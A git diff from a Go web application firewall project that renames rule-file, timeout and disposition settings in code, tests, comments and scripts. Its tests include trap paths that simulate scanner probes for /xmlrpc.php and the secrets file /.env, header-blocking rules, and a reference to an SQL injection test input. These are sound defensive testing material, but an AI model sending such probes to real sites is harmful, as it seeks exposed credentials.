+153,8 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) { t.Parallel() s, _, _ := startWithClock(t, "", map[string]string{ - trapPaths: trapPathList, - "SWW_WAF_RULES_ENABLED": "false", + trapPaths: trapPathList, + "SWW_WAF_RULE_FILES_ENABLED": "false", }) s.request(client, "/xmlrpc.php", http.StatusForbidden, diff --git a/internal/waf/waf.go b/internal/waf/waf.go index ecbff54..b5372ad 100644 --- a/internal/waf/waf.go +++ b/internal/waf/waf.go @@ -227,9 +227,10 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) { // readQuestion returns the visitor's address and the body a question carries, // and whether waf takes the question. It answers a question it does not // take with 400 and no disposition. rproxy passes that 400 to the visitor, -// and SWW_RPROXY_DEFAULT_DISPOSITION does not apply. The id of a question waf takes -// is held from here on, without a decision yet, so that another question with -// that id is refused while this one is being handled. +// and SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not apply. The id of +// a question waf takes is held from here on, without a decision yet, so +// that another question with that id is refused while this one is being +// handled. // // The body is read before any check, since Go's server does not send an answer // until it has read the body. A question whose body stops arriving gets no diff --git a/internal/waf/waf_test.go b/internal/waf/waf_test.go index 97a50e6..8d9c441 100644 --- a/internal/waf/waf_test.go +++ b/internal/waf/waf_test.go @@ -454,7 +454,8 @@ func TestReportNeverReachesAQuestionStillBeingHandled(t *testing.T) { geojsURL, asked, release := startHeldGeoJS(t) s := startWAF(t, geojsURL, map[string]string{ - lookupTimeout: "1h", tagDeny: denyKP, bytesLimitPerMinute: byteLimit, + asnAndCountryLookupTimeout: "3600000", tagDeny: denyKP, + bytesLimitPerMinute: byteLimit, }) first := s.question(siteA, client, "/") @@ -563,7 +564,7 @@ func TestContentLengthUnreadableOrNegativeCountsAsAbsent(t *testing.T) { t.Parallel() s := startWAF(t, "", map[string]string{ - rulesDir: writeRules( + ruleFilesDir: writeRules( t, "any-length header:Content-Length block .\n", ), @@ -755,8 +756,8 @@ func TestBlockRuleIsDeniedWith403AndABanRuleWithTheBanResponse( t.Parallel() s := startWAF(t, "", map[string]string{ - rulesDir: writeRules(t, testRules), - banResponse: "429", + ruleFilesDir: writeRules(t, testRules), + banResponse: "429", }) got := s.ask(client, "/blocked") @@ -810,13 +811,13 @@ func TestObserveModeAllowsAndLogsWhatEnforceModeWouldHaveDone(t *testing.T) { wantWouldAction(t, line, requestlog.ActionClientDenied) } -func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst( +func TestObserveModeRefusalAnsweredAllowCountsForTheRefusalLimit( t *testing.T, ) { t.Parallel() s := startWAF(t, "", map[string]string{ - mode: observe, rulesDir: writeRules(t, testRules), errorBurstThreshold: "1", + mode: observe, ruleFilesDir: writeRules(t, testRules), refusalsLimitPerMinute: "1", }) for range 2 { @@ -836,11 +837,11 @@ func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst( } } -func TestDeniedQuestionCountsForTheErrorBurst(t *testing.T) { +func TestDeniedQuestionCountsForTheRefusalLimit(t *testing.T) { t.Parallel() s := startWAF(t, "", map[string]string{ - rulesDir: writeRules(t, testRules), errorBurstThreshold: "1", + ruleFilesDir: writeRules(t, testRules), refusalsLimitPerMinute: "1", }) for range 2 { @@ -875,7 +876,9 @@ func TestAllowCarriesTheLookupHeadersWhileTheSettingIsSet(t *testing.T) { geojsURL, _ := startGeoJS(t) s := startWAF(t, geojsURL, map[string]string{ - addLookupHeaders: tc.setting, lookupTimeout: "1h", tagDeny: denyKP, + addLookupHeaders: tc.setting, + asnAndCountryLookupTimeout: "3600000", + tagDeny: denyKP, }) got := s.ask(fromDE, "/") @@ -946,8 +949,8 @@ func TestReportCountsAtThePercentageItsQuestionWasGiven(t *testing.T) { geojsURL, _ := startGeoJS(t) // 100 bytes pass half of a limit of 99 and are within a limit of 199. s := startWAF(t, geojsURL, map[string]string{ - bytesLimitPerMinute: "199", countryBytesPercent: countryDEHalf, - lookupTimeout: "1h", + bytesLimitPerMinute: "199", countryBytesLimitPercent: countryDEHalf, + asnAndCountryLookupTimeout: "3600000", }) s.passedOn(fromKP) @@ -1421,7 +1424,7 @@ func TestReportWritesTheLastLineWithTheDecisionsAndTheReportsFields( s := startWAF(t, "", map[string]string{ logRequestHeaders: "accept", - rulesDir: writeRules(t, "seen path log ^/page$\n"), + ruleFilesDir: writeRules(t, "seen path log ^/page$\n"), }) const ( @@ -1573,7 +1576,7 @@ func TestBanMadeThroughOneHostRefusesTheClientOnAnother(t *testing.T) { s := startWAF( t, "", - map[string]string{rulesDir: writeRules(t, testRules)}, + map[string]string{ruleFilesDir: writeRules(t, testRules)}, ) got := do(t, s.question(siteA, client, "/.env")) @@ -1745,7 +1748,7 @@ func TestChecksSeeTheHeadersTheVisitorSent(t *testing.T) { t.Parallel() s := startWAF(t, "", map[string]string{ - rulesDir: writeRules(t, ` + ruleFilesDir: writeRules(t, ` own-client header:X-Sww-Client block . own-peer header:X-Sww-Peer block . own-length header:X-Sww-Content-Length block . @@ -1779,7 +1782,7 @@ func TestCoreRuleSetReadsTheBodyAQuestionCarries(t *testing.T) { t.Parallel() s := startWAF(t, "", map[string]string{ - wafMode: block, wafBodyLimit: "64K", + coreRuleSetMode: block, coreRuleSetBodyInspectionSize: "64K", }) ask := func(contentType, body string) answer { @@ -1804,7 +1807,7 @@ func TestCoreRuleSetReadsTheBodyAQuestionCarries(t *testing.T) { func TestCoreRuleSetAlertNamesTheSite(t *testing.T) { t.Parallel() - s := startWAF(t, "", map[string]string{wafMode: block}) + s := startWAF(t, "", map[string]string{coreRuleSetMode: block}) got := s.ask(client, sqlInjection) wantDisposition(t, got, http.StatusForbidden, waf.DispositionDeny) diff --git a/script/example-app b/script/example-app index 554008e..9aac283 100755 --- a/script/example-app +++ b/script/example-app @@ -214,8 +214,8 @@ main() { wait_for "waf did not stop in order" logged "$WAF" '"msg":"stopped"' [ "$(status_from 203.0.113.9 /)" = 200 ] || fail "with waf stopped, the app did not answer through rproxy" - wait_for "rproxy logged no request SWW_RPROXY_DEFAULT_DISPOSITION decided" \ - logged "$APP" '"default_disposition":true' + wait_for "rproxy logged no request SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decided" \ + logged "$APP" '"waf_backend_no_answer":true' docker exec "$APP" /usr/local/bin/sww healthcheck || fail "with waf stopped, the app's health check failed" echo "example-app: with waf stopped, the app answers through rproxy" diff --git a/script/run b/script/run index 347fb92..bcef023 100755 --- a/script/run +++ b/script/run @@ -7,7 +7,7 @@ # rproxy asks it there unless SWW_RPROXY_WAF_BACKEND says otherwise. Unless # SWW_WAF_STATE_DIR is set, the state files go in bin/state, beside the binary, # and unless SWW_WAF_CACHE_DIR is set, the cache files go in bin/cache. Unless -# SWW_WAF_RULES_DIR is set, the rule files are those of share/rules.d, which the +# SWW_WAF_RULE_FILES_DIR is set, the rule files are those of share/rules.d, which the # image ships. set -eu @@ -37,9 +37,9 @@ main() { export SWW_WAF_CACHE_DIR mkdir -p "$SWW_WAF_CACHE_DIR" fi - if [ -z "${SWW_WAF_RULES_DIR+set}" ]; then - SWW_WAF_RULES_DIR="$ROOT/share/rules.d" - export SWW_WAF_RULES_DIR + if [ -z "${SWW_WAF_RULE_FILES_DIR+set}" ]; then + SWW_WAF_RULE_FILES_DIR="$ROOT/share/rules.d" + export SWW_WAF_RULE_FILES_DIR fi SWW_WAF_LISTEN_ADDR="${SWW_WAF_LISTEN_ADDR:-:8090}" SWW_RPROXY_WAF_BACKEND="${SWW_RPROXY_WAF_BACKEND:-http://127.0.0.1:${SWW_WAF_LISTEN_ADDR##*:}}"